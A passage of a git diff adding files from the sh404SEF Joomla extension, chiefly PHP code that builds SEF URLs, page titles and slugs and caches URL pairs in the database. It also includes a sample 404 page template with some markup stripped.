$articleId . ']'; + array_push($title, $lastBit); + } + $pageNumber = ''; + // V 1.2.4.t try better handling of multipages article (use of mospagebreak) + if ($view == 'article' && !empty($limitstart)) + { // this is multipage article + $shPageTitle = ''; + try + { + $contentElement = ShlDbHelper::selectObject('#__content', array('id', 'fulltext', 'introtext'), array('id' => $id)); + } + catch (Exception $e) + { + JError::raise(E_ERROR, 500, $e->getMessage()); + } + $contentText = $contentElement->introtext . $contentElement->fulltext; + + if (!empty($contentElement) && empty($showall) && (strpos($contentText, 'class="system-pagebreak') !== false)) + { // search for mospagebreak tags + // copied over from pagebreak plugin + // expression to search for + //$regex = '/{(mospagebreak)\s*(.*?)}/i'; + $regex = '#]*)class=\"system-pagebreak\"([^>]*)\/>#iUu'; + // find all instances of mambot and put in $matches + $shMatches = array(); + preg_match_all($regex, $contentText, $shMatches, PREG_SET_ORDER); + // adds heading or title to Title + if (empty($limitstart)) + { // if first page use heading of first mospagebreak + } + else + { // for other pages use title of mospagebreak + if ($limitstart > 0 && $shMatches[$limitstart - 1][1]) + { + $args = JUtility::parseAttributes($shMatches[$limitstart - 1][0]); + if (@$args['title']) + { + $shPageTitle = $args['title']; + } + else if (@$args['alt']) + { + $shPageTitle = $args['alt']; + } + else + { // there is a page break, but no title. Use a page number + $pattern = str_replace($sefConfig->pagerep, ' ', $sefConfig->pageTexts[$shPageInfo->currentLanguageTag]); + $shPageTitle = str_replace('%s', $limitstart + 1, $pattern); + } + } + } + } + + if (!empty($shPageTitle)) // found a heading, we should use that as a Title + $title[] = shCleanUpTitle($shPageTitle); + } + else + { + if (!empty($limit) && !empty($limitstart)) + { + //TODO handle multipages + $shLimit = $layout == 'blog' + ? shGetDefaultDisplayNumFromConfig($shPageInfo->currentNonSefUrl, $includeBlogLinks = $view == 'section') : $limit; + $pagenum = empty($limit) ? (int) $limitstart : (int) ($limitstart / $shLimit) + 1; + if ($sefConfig->alwaysAppendItemsPerPage) + { + $shMultPageLength = $sefConfig->pagerep . $shLimit; + } + else + $shMultPageLength = ''; + $pattern = str_replace($sefConfig->pagerep, ' ', $sefConfig->pageTexts[$shPageInfo->currentLanguageTag]); + $pageNumber = str_replace('%s', $pagenum, $pattern) . $shMultPageLength; + } + else + { + if (!empty($limitstart)) + { // this may be a blog category view, with more than one page + if ($title[count($title) - 1] == '/') + { // need to remove trailing slash added by getContentTitle + unset($title[count($title) - 1]); + } + if ($view == 'article') + { + $pagenum = intval($limitstart + 1); // multipage article + } + if (!empty($pagenum)) + { + $pattern = str_replace($sefConfig->pagerep, ' ', $sefConfig->pageTexts[$shPageInfo->currentLanguageTag]); + $pageNumber = str_replace('%s', $pagenum, $pattern)/*.$shMultPageLength*/; + } + } + else + { + if (!empty($showall)) + { + $pageNumber = titleToLocation(JText::_('All Pages')); + } + } + } + } + // V 1.2.4.j 2007/04/11 : numerical ID, on some categories only + if ($sefConfig->shInsertNumericalId && isset($sefConfig->shInsertNumericalIdCatList) && !empty($id) && ($view == 'view')) + { + try + { + $contentElement = ShlDbHelper::selectObject('#__content', array('id', 'catid', 'created'), array('id' => $id)); + if (!empty($contentElement)) + { // V 1.2.4.t + $foundCat = array_search(@$contentElement->catid, $sefConfig->shInsertNumericalIdCatList); + if (($foundCat !== null && $foundCat !== false) || ($sefConfig->shInsertNumericalIdCatList[0] == '')) + { // test both in case PHP < 4.2.0 + $shTemp = explode(' ', $contentElement->created); + $title[] = str_replace('-', '', $shTemp[0]) . $contentElement->id; + } + } + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } + + // end of edition id insertion + $title = array_reverse($title); + if (!empty($pageNumber)) + { // better add page number at end rather than beg + $title[] = $pageNumber; + } + $shCustomTitleTag = JString::ltrim(implode($sefConfig->pageTitleSeparator, $title), '/' . $sefConfig->pageTitleSeparator); +} + diff --git a/deployed/sh404sef/components/com_sh404sef/sample-404-Not-Found.tpl.html b/deployed/sh404sef/components/com_sh404sef/sample-404-Not-Found.tpl.html new file mode 100644 index 00000000..6face964 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sample-404-Not-Found.tpl.html @@ -0,0 +1,34 @@ + + + + + + + The page you were looking for doesn't exist (404) + + + + +
    +

    The page you were looking for doesn't exist.

    +

    You may have mistyped the address or the page may have moved.

    + %sh404SEF_404_URL% +
    +
    + Please browse other pages from our site at %sh404SEF_404_SITE_NAME% +
      +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext.php b/deployed/sh404sef/components/com_sh404sef/sef_ext.php new file mode 100644 index 00000000..72589769 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext.php @@ -0,0 +1,810 @@ +$value) { + if ( !JString::strcasecmp(JString::substr($value,0,5),'lang,') ) { + $temp = explode(',', $value); + if (isset($temp[0]) && $temp[0] != '' && isset($temp[1]) && $temp[1] != '') { + $lang = $temp[1]; + } + unset($url_array[$key]); + } + } + + if (isset($url_array[$pos+8]) && $url_array[$pos+8] != '' && in_array('category', $url_array) && ( strpos( $url_array[$pos+5], 'order,' ) !== false ) && ( strpos( $url_array[$pos+6], 'filter,' ) !== false ) ) { + // $option/$task/$sectionid/$id/$Itemid/$order/$filter/$limit/$limitstart + $task = $url_array[$pos+1]; + $sectionid = $url_array[$pos+2]; + $id = $url_array[$pos+3]; + $Itemid = $url_array[$pos+4]; + $order = str_replace( 'order,', '', $url_array[$pos+5] ); + $filter = str_replace( 'filter,', '', $url_array[$pos+6] ); + $limit = $url_array[$pos+7]; + $limitstart = $url_array[$pos+8]; + + $QUERY_STRING = "option=com_content&task=$task§ionid=$sectionid&id=$id&Itemid=$Itemid&order=$order&filter=$filter&limit=$limit&limitstart=$limitstart"; + } else if (isset($url_array[$pos+7]) && $url_array[$pos+7] != '' && $url_array[$pos+5] > 1000 && ( in_array('archivecategory', $url_array) || in_array('archivesection', $url_array) ) ) { + // $option/$task/$id/$limit/$limitstart/year/month/module + $task = $url_array[$pos+1]; + $id = $url_array[$pos+2]; + $limit = $url_array[$pos+3]; + $limitstart = $url_array[$pos+4]; + $year = $url_array[$pos+5]; + $month = $url_array[$pos+6]; + $module = $url_array[$pos+7]; + + $QUERY_STRING = "option=com_content&task=$task&id=$id&limit=$limit&limitstart=$limitstart&year=$year&month=$month&module=$module"; + } else if (isset($url_array[$pos+7]) && $url_array[$pos+7] != '' && $url_array[$pos+6] > 1000 && ( in_array('archivecategory', $url_array) || in_array('archivesection', $url_array) ) ) { + // $option/$task/$id/$Itemid/$limit/$limitstart/year/month + $task = $url_array[$pos+1]; + $id = $url_array[$pos+2]; + $Itemid = $url_array[$pos+3]; + $limit = $url_array[$pos+4]; + $limitstart = $url_array[$pos+5]; + $year = $url_array[$pos+6]; + $month = $url_array[$pos+7]; + + $QUERY_STRING = "option=com_content&task=$task&id=$id&Itemid=$Itemid&limit=$limit&limitstart=$limitstart&year=$year&month=$month"; + } else if (isset($url_array[$pos+7]) && $url_array[$pos+7] != '' && in_array('category', $url_array) && ( strpos( $url_array[$pos+5], 'order,' ) !== false )) { + // $option/$task/$sectionid/$id/$Itemid/$order/$limit/$limitstart + $task = $url_array[$pos+1]; + $sectionid = $url_array[$pos+2]; + $id = $url_array[$pos+3]; + $Itemid = $url_array[$pos+4]; + $order = str_replace( 'order,', '', $url_array[$pos+5] ); + $limit = $url_array[$pos+6]; + $limitstart = $url_array[$pos+7]; + + $QUERY_STRING = "option=com_content&task=$task§ionid=$sectionid&id=$id&Itemid=$Itemid&order=$order&limit=$limit&limitstart=$limitstart"; + } else if (isset($url_array[$pos+6]) && $url_array[$pos+6] != '') { + // $option/$task/$sectionid/$id/$Itemid/$limit/$limitstart + $task = $url_array[$pos+1]; + $sectionid = $url_array[$pos+2]; + $id = $url_array[$pos+3]; + $Itemid = $url_array[$pos+4]; + $limit = $url_array[$pos+5]; + $limitstart = $url_array[$pos+6]; + + $QUERY_STRING = "option=com_content&task=$task§ionid=$sectionid&id=$id&Itemid=$Itemid&limit=$limit&limitstart=$limitstart"; + } else if (isset($url_array[$pos+5]) && $url_array[$pos+5] != '') { + // $option/$task/$id/$Itemid/$limit/$limitstart + $task = $url_array[$pos+1]; + $id = $url_array[$pos+2]; + $Itemid = $url_array[$pos+3]; + $limit = $url_array[$pos+4]; + $limitstart = $url_array[$pos+5]; + + $QUERY_STRING = "option=com_content&task=$task&id=$id&Itemid=$Itemid&limit=$limit&limitstart=$limitstart"; + } else if (isset($url_array[$pos+4]) && $url_array[$pos+4] != '' && ( in_array('archivecategory', $url_array) || in_array('archivesection', $url_array) )) { + // $option/$task/$year/$month/$module + $task = $url_array[$pos+1]; + $year = $url_array[$pos+2]; + $month = $url_array[$pos+3]; + $module = $url_array[$pos+4]; + + $QUERY_STRING = "option=com_content&task=$task&year=$year&month=$month&module=$module"; + } else if (!(isset($url_array[$pos+5]) && $url_array[$pos+5] != '') && isset($url_array[$pos+4]) && $url_array[$pos+4] != '') { + // $option/$task/$sectionid/$id/$Itemid + $task = $url_array[$pos+1]; + $sectionid = $url_array[$pos+2]; + $id = $url_array[$pos+3]; + $Itemid = $url_array[$pos+4]; + + $QUERY_STRING = "option=com_content&task=$task§ionid=$sectionid&id=$id&Itemid=$Itemid"; + } else if (!(isset($url_array[$pos+4]) && $url_array[$pos+4] != '') && (isset($url_array[$pos+3]) && $url_array[$pos+3] != '')) { + // $option/$task/$id/$Itemid + $task = $url_array[$pos+1]; + $id = $url_array[$pos+2]; + $Itemid = $url_array[$pos+3]; + + $QUERY_STRING = "option=com_content&task=$task&id=$id&Itemid=$Itemid"; + } else if (!(isset($url_array[$pos+3]) && $url_array[$pos+3] != '') && (isset($url_array[$pos+2]) && $url_array[$pos+2] != '')) { + // $option/$task/$id + $task = $url_array[$pos+1]; + $id = $url_array[$pos+2]; + + $QUERY_STRING = "option=com_content&task=$task&id=$id"; + } else if (!(isset($url_array[$pos+2]) && $url_array[$pos+2] != '') && (isset($url_array[$pos+1]) && $url_array[$pos+1] != '')) { + // $option/$task + $task = $url_array[$pos+1]; + $QUERY_STRING = 'option=com_content&task='. $task; + } + + if ($lang!='') { + $QUERY_STRING .= '&lang='. $lang; + } + + return $QUERY_STRING; + } + +} + +class sef_404 { + + public function create($string, &$vars, &$shAppendString, $shLanguage, $shSaveString = '', &$originalUri) { + + // get our config objects + $pageInfo = Sh404sefFactory::getPageInfo(); + $sefConfig = Sh404sefFactory::getConfig(); + // get DB // backward compat, some plugins rely on having this object available in scope + $database = ShlDbHelper::getDb(); + + ShlSystem_Log::debug( 'sh404sef', 'Entering sef404 create function with '. $string); + + // extract request vars to have them readily available + ShlSystem_Log::debug( 'sh404sef', 'Extracting $vars:', print_r($vars, true)); + extract($vars); + + // maybe one of them interfere with the variable holding our result? + if (isset($title)) { // V 1.2.4.r : protect against components using 'title' as GET vars + $sh404SEF_title = $title; // means that $sh404SEF_title has to be used in plugins or extensions + } + $title = array(); // V 1.2.4.r + + // use custom method to find about correct plugin to use + // can be overwritten by a user plugin + $extPlugin = & Sh404sefFactory::getExtensionPlugin( $option); + + // which plugin file are we supposed to use? + $extPluginPath = $extPlugin->getSefPluginPath( $vars); + $pluginType = $extPlugin->getPluginType(); + + // various ways to handle various SEF url plugins + switch ($pluginType) { + // use Joomla router.php file in extension dir + case Sh404sefClassBaseextplugin::TYPE_JOOMLA_ROUTER: + // Load the plug-in file. + ShlSystem_Log::debug( 'sh404sef', 'Loading component own router.php file'); + $originalVars = empty( $originalUri) ? $vars : $originalUri->getQuery( $asArray = true); + $title = Sh404sefHelperUrl::buildUrlWithRouterphp($originalVars, $option); + $title = sh404sefHelperUrl::encodeSegments($title); + // manage GET var lists ourselves, as Joomla router.php does not do it + if (!empty($vars)) { + // there are some unused GET vars, we must transfer them to our mechanism, so + // that they are eventually appended to the sef url + foreach( $vars as $k => $v) { + switch ($k) { + case 'option': + case 'Itemid': + shRemoveFromGETVarsList( $k); + break; + default: + // if variable has not been used in sef url, add it to list of variables to be + // appended to the url as query string elements + if (array_key_exists( $k, $originalVars)) { + shAddToGETVarsList( $k, $v); + } else { + shRemoveFromGETVarsList( $k); + } + break; + } + } + } + // special case for search component, as router.php encode the search word in the url + // we can't do that, as we are storing each url in the db + if (( isset($originalVars['option']) && $originalVars['option'] == 'com_search') + && !empty($vars['searchword'])) { + // router.php has encoded that in the url, we need to undo + $title = array(); + $originalVars['searchword'] = $vars['searchword']; + shAddToGETVarsList( 'searchword', $vars['searchword']); + if (!empty($vars['view'])) { + $vars['view'] = $vars['view']; + shAddToGETVarsList( 'view', $vars['view']); + } + + } + + // handle menu items, having only a single Itemid in the url + // (router.php will return an empty array in that case, even if we have restored + // the full non-sef url, as we already did) + /* + * Build the application route + */ + $tmp = ''; + if (empty($title) && isset($vars['Itemid']) && !empty($vars['Itemid'])) { + $menu = JFactory::getApplication()->getMenu(); + $item = $menu->getItem($vars['Itemid']); + + if (is_object($item) && $vars['option'] == $item->component) { + $title[] = $item->route; + } + } + + if(empty($title)) { + $title[] = substr($vars['option'], 4); + } + + // add user defined prefix + $prefix = shGetComponentPrefix( $option); + if (!empty( $prefix)) { + array_unshift( $title, $prefix); + } + + // now process the resulting title string + $string = shFinalizePlugin( $string, $title, $shAppendString, '', + (isset($limit) ? $limit : null), (isset($limitstart) ? $limitstart : null), + (isset($shLangName) ? $shLangName : null), (isset($showall) ? $showall : null), + $suppressPagination = true); + break; + + // use sh404sef plugins, either in ext. dir or in sh404sef dir + case Sh404sefClassBaseextplugin::TYPE_SH404SEF_ROUTER: + ShlSystem_Log::debug( 'sh404sef', 'Loading sh404SEF plugin in ' . $extPluginPath); + include $extPluginPath; + break; + + // Joomsef plugins + case Sh404sefClassBaseextplugin::TYPE_JOOMSEF_ROUTER: + Sh404sefHelperExtplugins::loadJoomsefCompatLibs(); + include_once $extPluginPath; + $className = 'SefExt_' . $option; + $plugin = new $className; + if(!shIsHomepage($string)) { + // make sure the plugin does not try to calculate pagination + $params = & SEFTools::GetExtParams('com_content'); + $params->set('pagination', '1'); + // ask plugin to build url + $plugin->beforeCreate( $originalUri); + $result = $plugin->create( $originalUri); + $title = empty( $result['title']) ? array() : $result['title']; + $plugin->afterCreate( $originalUri); + // make sure we have a url + if (empty($title) && isset($vars['Itemid']) && !empty($vars['Itemid'])) { + $menu = JFactory::getApplication()->getMenu(); + $item = $menu->getItem($vars['Itemid']); + + if (is_object($item) && $vars['option'] == $item->component) { + $title[] = $item->route; + } + } + $prefix = shGetComponentPrefix( $option); + if (!empty( $prefix)) { + array_unshift( $title, $prefix); + } + if(empty( $title) && !shIsHomepage($string)) { + $title[] = substr($vars['option'], 4); + } + list($usedVars, $ignore) = $plugin->getNonSefVars( $result); + if(!empty( $ignore)) { + $usedVars = array_merge( $usedVars, $ignore); + } + } else { + $string = ''; + $title[] = '/'; + $usedVars = array(); + } + // post process result to adjust to our workflow + + if(!empty( $vars)) { + foreach( $vars as $key => $value) { + if(!array_key_exists( $key, $usedVars)) { + shRemoveFromGETVarsList( $key); + } + } + } + + // finalize url + $string = shFinalizePlugin( $string, $title, $shAppendString = '', $shItemidString = '', + (isset($limit) ? $limit : null), (isset($limitstart) ? $limitstart : null), + (isset($shLangName) ? $shLangName : null), (isset($showall) ? $showall : null)); + break; + + // Acesef plugins + case Sh404sefClassBaseextplugin::TYPE_ACESEF_ROUTER: + Sh404sefHelperExtplugins::loadAcesefCompatLibs(); + include_once $extPluginPath; + $className = 'AceSEF_' . $option; + $plugin = new $className; + $plugin->AcesefConfig = AcesefFactory::getConfig(); // some plugins appear to not call the constructor parent, and so AcesefConfig is not set + $tmp = JPluginHelper::getPlugin( 'sh404sefextacesef', $option); + $params = new JRegistry(); + $params->loadString( $tmp->params); + $plugin->setParams( $params); + $segments = array(); + $do_sef = true; + $metadata = array(); + $item_limitstart = 0; + $plugin->beforeBuild( $originalUri); + $originalVars = empty( $originalUri) ? $vars : $originalUri->getQuery( $asArray = true); + $plugin->build( $originalVars, $title, $do_sef, $metadata, $item_limitstart ); + $plugin->afterBuild( $originalUri); + $prefix = shGetComponentPrefix( $option); + if (empty($title) && isset($vars['Itemid']) && !empty($vars['Itemid'])) { + $menu = JFactory::getApplication()->getMenu(); + $item = $menu->getItem($vars['Itemid']); + + if (is_object($item) && $vars['option'] == $item->component) { + $title[] = $item->route; + } + } + if (!empty( $prefix)) { + array_unshift( $title, $prefix); + } + if(empty( $title) && !shIsHomepage($string)) { + $title[] = substr($vars['option'], 4); + } + + // acesef plugin don't remove used vars from our GET var manager + // we'll do it now. Vars used are those not present anymore in + // $originalVars + // they will be reappended to the SEF url by shFinalizePlugin + $usedVars = array_diff( $vars, $originalVars); + if(!empty( $usedVars)) { + foreach( $usedVars as $key => $value) { + shRemoveFromGETVarsList( $key); + } + } + // remove Itemid and option, as these are not unset by plugin + shRemoveFromGETVarsList('Itemid'); + shRemoveFromGETVarsList('option'); + // finalize url + $string = shFinalizePlugin( $string, $title, $shAppendString = '', $shItemidString = '', + (isset($limit) ? $limit : null), (isset($limitstart) ? $limitstart : null), + (isset($shLangName) ? $shLangName : null), (isset($showall) ? $showall : null)); + + break; + + default: + ShlSystem_Log::debug( 'sh404sef', 'Falling back to sefGetLocation'); + if (empty($sefConfig->defaultComponentStringList[str_replace('com_', '', $option)])) { + $title[] = getMenuTitle($option, (isset($task) ? $task : null), null, null, $shLanguage ); + } else { + $title[] = $sefConfig->defaultComponentStringList[str_replace('com_', '', $option)]; + } + if ($title[0] != '/') { + $title[] = '/'; // V 1.2.4.q getMenuTitle can now return '/' + } + if (count($title) > 0) { + // V 1.2.4.q use $shLanguage insted of $lang (lang name rather than lang code) + $string = sef_404::sefGetLocation($string, $title, (isset($task) ? $task : null), (isset($limit) ? $limit : null), (isset($limitstart) ? $limitstart : null), (isset($shLanguage) ? $shLanguage : null)); + } + break; + } + + return $string; + } + + function revert(&$url_array, $pos) { + + die( 'voluntary die in ' . __METHOD__ . ' of class ' . __CLASS__); + + } + + public static function getContentTitles($view,$id, $layout, $Itemid=0, $shLang = null, $sefConfig = null) { + + // if config is not injected, get default one + if (is_null( $sefConfig)) { + $sefConfig = & Sh404sefFactory::getConfig(); + } + $title = self::getContentSlugsArray( $view, $id, $layout, $Itemid, $shLang, $sefConfig); + return $title; + } + + public static function getContentSlugsArray( $view, $id, $layout, $Itemid = 0, $shLang = null, $sefConfig = null) { + + $slugsArray = array(); + + // if config is not injected, get default one + if (is_null( $sefConfig)) { + $sefConfig = & Sh404sefFactory::getConfig(); + } + $id = empty( $id) ? 0 : intval($id); + + // TODO: this will not work when we have Joomfish (probably). With JF, default should be + // $shLang = empty($shLang) ? $shPageInfo->currentLanguageTag : $shLang; ?? + $requestedLanguage = empty( $shLang) ? '*' : $shLang; + + try { + $slugsModel = Sh404sefModelSlugs::getInstance(); + $menuItemTitle = getMenuTitle( null, $view, (isset($Itemid) ? $Itemid : null), '', $shLang); + $uncategorizedPath = $sefConfig->slugForUncategorizedContent == shSEFConfig::COM_SH404SEF_UNCATEGORIZED_EMPTY ? '' : $menuItemTitle; + switch ($view) { + case 'category': + if (empty($layout) || $layout != 'blog') { + if ($sefConfig->shInsertContentTableName) { + $prefix = empty($sefConfig->shContentTableName) ? $menuItemTitle : $sefConfig->shContentTableName; + if (!empty($prefix)) { + $prefixArray[] = $prefix; + } + } + if (!empty($id)) { // we have a category id + $slugsArray = $slugsModel->getCategorySlugArray( 'com_content', $id, $sefConfig->includeContentCatCategories, $sefConfig->useCatAlias, $insertId = false, $uncategorizedPath, $requestedLanguage); + } else { // no category id, use menu item title + if (!$sefConfig->shInsertContentTableName || empty($sefConfig->shContentTableName)) { + if (!empty($menuItemTitle)) { + $slugsArray[] = $menuItemTitle; + } + } + } + } else { // blog category + if ($sefConfig->shInsertContentBlogName) { + $prefix = empty($sefConfig->shContentBlogName) ? $menuItemTitle : $sefConfig->shContentBlogName; + if (!empty($prefix)) { + $prefixArray[] = $prefix; + } + } + if (!empty($id)) { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_content', $id, $sefConfig->includeContentCatCategories, $sefConfig->useCatAlias, $insertId = false, $uncategorizedPath, $requestedLanguage); + } else { // this should not happen, probably a malformed url + if (!$sefConfig->shInsertContentBlogName || empty($sefConfig->shContentBlogName)) { + if (!empty($menuItemTitle)) { + $slugsArray[] = $menuItemTitle; + } + } + } + } + if(!empty( $prefixArray)) { + $slugsArray = array_merge( $prefixArray, $slugsArray); + } + $slugsArray[] = '/'; + break; + case 'categories': + // now get category(ies) path + if (!empty($id)) { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_content', $id, $sefConfig->includeContentCatCategories, $sefConfig->useCatAlias, $insertId = false, $uncategorizedPath, $requestedLanguage); + // insert a suffix to distinguish from normal category listing + if(!empty( $sefConfig->contentCategoriesSuffix)) { + $slugsArray[] = $sefConfig->contentCategoriesSuffix; + } + // end with a directory sign + $slugsArray[] = '/'; + } else { + if (!empty($menuItemTitle)) { + $slugsArray[] = $menuItemTitle; + } + } + break; + case 'featured' : + if(!empty( $menuItemTitle)) { + $slugsArray[] = $menuItemTitle; + } + break; + case 'article': + $article = $slugsModel->getArticle( $id); + $language = $requestedLanguage; + if(empty($article[$requestedLanguage])) { + $language = '*'; + } + // still no luck, use whatever is available + if(empty($article[$language])) { + $languages = array_keys( $article); + $language = array_shift( $languages); + } + // get category(ies) + // special case for the "uncategorised" category + $unCat = Sh404sefHelperCategories::getUncategorizedCat('com_content'); + if (!empty($unCat) && $article[$language]->catid == $unCat->id) + { + $slugsArray = empty($uncategorizedPath) ? array() : array($uncategorizedPath); + } + else + { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_content', $article[$language]->catid, $sefConfig->includeContentCat, $sefConfig->useCatAlias, $insertId = false, $uncategorizedPath, $requestedLanguage); + } + // get article slug, optionnally including article id inurl + $insertIdCatList = $sefConfig->ContentTitleInsertArticleId ? $sefConfig->shInsertContentArticleIdCatList : array(); + $articleSlug = $slugsModel->getArticleSlug( $id, $sefConfig->UseAlias, $sefConfig->ContentTitleInsertArticleId, $insertIdCatList, $requestedLanguage); + $slugsArray[] = $articleSlug; + break; + default : + break; + } + + } catch ( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + return $slugsArray; + } + + /** + * + * @param string $url + * @param array $title + * @param string $task + * @param int $limit + * @param int $limitstart + * @return sefurl + */ + public static function sefGetLocation( $nonSefUrl, &$title, $task = null, $limit = null + , $limitstart = null, $langParam = null, $showall = null, $suppressPagination = false) { + + + try { + + $shPageInfo = & Sh404sefFactory::getPageInfo(); + $sefConfig = & Sh404sefFactory::getConfig(); + + $lang = empty($langParam) ? $shPageInfo->currentLanguageTag : $langParam; + + // shumisha : try to avoid duplicate content on multilingual sites by always adding &lang=xx to url (stored in DB). + // warning : must add &lang=xx only if it does not exists already + if (!strpos($nonSefUrl,'lang=')) { + $shSepString = (substr($nonSefUrl, -9) == 'index.php' ? '?':'&'); + $nonSefUrl.= $shSepString.'lang='.Sh404sefHelperLanguage::getUrlCodeFromTag($lang); + } + + // make sure url is consistent + $nonSefUrl = str_replace( '&', '&', $nonSefUrl ); + + // detect multipage homepage + $shMultiPageHomePageFlag = shIsHomepage($nonSefUrl); + + // get all the slugs ready for being urls bits + $tempSefUrl = array(); + foreach($title as $titlestring) { + $decodedTitletring = urldecode($titlestring); + $tempSefUrl[] = titleToLocation( $decodedTitletring); + } + + // now build the URL + $tempSefUrl = implode("/", $tempSefUrl); + + // remove duplicate / + $tempSefUrl = ShlSystem_Strings::pr('/\/{2,}/u', '/', $tempSefUrl); + + // and truncate to max length, according to param + $tempSefUrl = JString::substr( $tempSefUrl, 0, sh404SEF_MAX_SEF_URL_LENGTH); // trim to max length V 1.2.4.t + + // if URL is empty, and unless this is a paginated home page, or home page in non-default language, stop there + if (empty( $tempSefUrl)) { + if ((!shIsMultilingual() || (shIsMultilingual() && shIsDefaultlang($lang))) && !$sefConfig->addFile + && !$shMultiPageHomePageFlag) // + return ''; // if location is empty, and not multilingual site, or multilingual, but this is default language, then there is nothing to add to url + } + + // we have a valid SEF url, built with the data ($title) sent + // by plugin. Now we want to check if it's already in the db + // and add it if not + + // first, we search the memory cache for the non-sef url + // as it is faster than looking up the db + $finalSefUrl = ''; + $sefUrlType = Sh404sefHelperCache::getSefUrlFromCache( $nonSefUrl, $finalSefUrl); + + // if non-sef was not found in cache - or found, but it was a 404 last time we saw it - + // we should continue and try adding it + if ($sefUrlType == sh404SEF_URLTYPE_NONE || $sefUrlType == sh404SEF_URLTYPE_404) { + + $finalSefUrl = false; + + // non-sef was not found in cache, let's look up the database + if ($sefUrlType == sh404SEF_URLTYPE_NONE) { + $finalSefUrl = ShlDbHelper::selectResult( '#__sh404sef_urls', 'oldurl', array( 'newurl' => $nonSefUrl)); + } + + // we found the sef url in database, we're done + if (!empty($finalSefUrl)) { + return $finalSefUrl; + } + + // the non-sef url is not in memory cache, nor in database + // that's a new one, we need to finalize its sef (add pagination and language information) + // After finalizing it, we'll also check that sef is not in the db + // as it can already be there, associated with another non-sef (ie: a duplicate) + // Either way we'll add it in the db, but mark it as a duplicate if needed + + // add pagination information, unless we were instructed by extension plugin not to + // find if we should separate pagination info from sef with a / or not + if (!empty($tempSefUrl)) { + $shSeparator = (JString::substr($tempSefUrl, -1) == '/') ? '':'/'; + } else { + $shSeparator = ''; + } + + $finalSefUrl = shAddPaginationInfo( $limit, $limitstart, $showall, 1, $nonSefUrl, $tempSefUrl, $shSeparator, $defaultListLimitValue = null, $suppressPagination); + + // if home page, we don't record anything, just return "home page" + if ($shMultiPageHomePageFlag && ('/' . $finalSefUrl == $tempSefUrl) // if homepage + && ( !shIsMultilingual() // and not multilingual + || ( shIsMultilingual() // or multilingual + && shIsDefaultLang($lang))) ) { // but this is default language + + // this is start page of multipage homepage, return home or forced home + if (!empty($sefConfig->shForcedHomePage)) { + return str_replace( $shPageInfo->getDefaultFrontLiveSite().'/', '',$sefConfig->shForcedHomePage); + } else { + return ''; + } + + } + + // add language information + // first, remove languages in non-sef, to see if we're on homepage + // as handling is sligthly different for homepage + $v1 = shCleanUpLang( $nonSefUrl); + $v2 = shCleanUpLang( $shPageInfo->homeLink); + if ($v1 == $v2 || $v1 == 'index.php') { // check if this is homepage + if (shIsMultilingual() && !shIsDefaultLang($lang)) { + // if homepage in not-default-language, then add language code regardless of user settings + // as we otherwise would not be able to switch language on the frontpage + $finalSefUrl = Sh404sefHelperLanguage::getUrlCodeFromTag( $lang) . '/'; + } else { + $finalSefUrl = ''; + } + } else { + // not on homepage, insert lang code based on user setting + $option = Sh404sefHelperUrl::getUrlVar( $nonSefUrl, 'option', ''); + if (shInsertIsoCodeInUrl($option, $lang)) { // insert language code based on param + // pass URL lang info, as may not be current lang + $finalSefUrl = Sh404sefHelperLanguage::getUrlCodeFromTag( $lang) . '/' . $finalSefUrl; // must be forced lang, not default + } + } + + // after adding pagination part of SEF, and adding language code + // the new SEF url is now complete and we can try adding to it cache and db + if ($finalSefUrl != '') { + $dburl = null; + $dbUrlId = null; + $nonSefUrlType = sh404SEF_URLTYPE_NONE; + + // search the memory cache for this new sef + if ($sefConfig->shUseURLCache) { + $nonSefUrlType = Sh404sefHelperCache::getNonSefUrlFromCache( $finalSefUrl, $dburl); + } + $newMaxRank = 0; + // if the new SEF was not found in memory cache, or if it was found but + // we're set to record duplicates, we search for it in the database + if ($sefConfig->shRecordDuplicates || $nonSefUrlType == sh404SEF_URLTYPE_NONE) { + + $dbUrlList = ShlDbHelper::selectObjectList( '#__sh404sef_urls', array( 'id', 'newurl', 'rank', 'dateadd') + , array( 'oldurl' => $finalSefUrl) + , $aWhereData = array() + , $orderBy = array( 'rank')); + + if (count($dbUrlList) > 0) { + $dburl = $dbUrlList[0]->newurl; + $dbUrlId = $dbUrlList[0]->id; + if (empty($dburl)) { // V 1.2.4.t url was found in DB, but was a 404 + $nonSefUrlType = sh404SEF_URLTYPE_404; + } else { + $newMaxRank = $dbUrlList[count($dbUrlList)-1]->rank+1; + $nonSefUrlType = $dbUrlList[0]->dateadd == '0000-00-00' ? + sh404SEF_URLTYPE_AUTO : sh404SEF_URLTYPE_CUSTOM; + } + } + } + + if ($nonSefUrlType != sh404SEF_URLTYPE_NONE && $nonSefUrlType != sh404SEF_URLTYPE_404) { + // we found the SEF, one or more times in the db, in records which do have a non-sef attached + $isDuplicate = $dburl != $nonSefUrl; + // This is a duplicate so we must indert it with incremented rank; + if (is_null( $dburl) || ($isDuplicate && $sefConfig->shRecordDuplicates)) { + // shAddSefUrlToDBAndCache( $nonSefUrl, $finalSefUrl, ($isDuplicate ? $newMaxRank : 0), $nonSefUrlType); + $dateAdd = $nonSefUrlType == sh404SEF_URLTYPE_AUTO ? '0000-00-00' : date("Y-m-d"); + + ShlDbHelper::insert( '#__sh404sef_urls', array( 'oldurl' => $finalSefUrl, 'newurl' => $nonSefUrl, 'rank' => ($isDuplicate ? $newMaxRank : 0), 'dateadd' => $dateAdd)); + + // store new sef/non-sef pair in memory cache + Sh404sefHelperCache::addSefUrlToCache( $nonSefUrl, $finalSefUrl, $nonSefUrlType); + + // create shURL : get a shURL model, and ask url creation + $model = ShlMvcModel_Base::getInstance( 'pageids', 'Sh404sefModel'); + $model->createPageId( $finalSefUrl, $nonSefUrl); + + } + + } else { + + // we haven't found the non-sef/sef pair, but maybe there is a record for + // a 404 with that SEF. If so, we will "upgrade" the 404 record to a + // normal non-sef/sef pair + $dbUrlId = empty( $dbUrlId) ? 0 : intval( $dbUrlId); + + if ($sefConfig->shLog404Errors) { + if 